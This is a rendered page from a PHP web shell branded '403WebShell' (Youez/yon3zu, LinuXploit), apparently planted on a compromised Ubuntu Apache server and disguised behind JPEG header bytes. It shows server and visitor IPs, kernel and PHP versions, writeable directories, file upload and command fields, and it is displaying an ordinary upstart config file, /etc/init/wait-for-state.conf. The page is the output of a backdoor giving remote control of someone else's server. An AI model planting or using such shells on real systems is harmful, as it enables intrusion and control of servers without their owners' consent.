????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.149.239.180
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /etc/init/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/init/wait-for-state.conf
author "Clint Byrum <clint.byrum@canonical.com>"
description "Waiting for state"

task
normal exit 2

stop on started $WAIT_FOR or stopped $WAIT_FOR

# These are all arguments for use influencing how this job waits
env TIMEOUT=30
env MANUAL_OVERRIDE="N"
env WAIT_FOREVER="N"
env WAIT_STATE="started"
env TARGET_GOAL="start"

# Required args w/ no sensible default, the tests at the beginning of
# the script are just to guard against WAITER="" or WAIT_FOR="", as the
# instance line will fail if they are not set, since they have no env 
instance $WAITER$WAIT_FOR

script
    test -n "$WAIT_FOR" || exit 1
    test -n "$WAITER" || exit 1

    # We don't want to override the manual stanza
    # XXX: initctl show-config should share manual w/ us too
    case $MANUAL_OVERRIDE in
    N|n|0)
        if grep -q "^\s*manual\s*$" /etc/init/$WAIT_FOR.conf /etc/init/$WAIT_FOR.override 2>/dev/null; then
            exit 0
        fi
        ;;
    esac

    if [ "$WAIT_STATE" = "stopped" ] ; then
        TARGET_GOAL="stop"
    fi

    # Already running/stopped?
    status $WAIT_FOR | grep -q "$TARGET_GOAL/$WAIT_STATE" && exit 0

    # Give it a push
    $TARGET_GOAL $WAIT_FOR || :

    # upstart will kill this shell on started/stopped $WAIT_FOR
    while sleep $TIMEOUT ; do
        case $WAIT_FOREVER in
        N|n|0)
            exit 100
            ;;
        Y|y|1)
            ;;
        *)
            exit 1
            ;;
        esac
    done
    # Very strange, sleep returned non-zero?
    exit 1
end script

Youez - 2016 - github.com/yon3zu
LinuXploit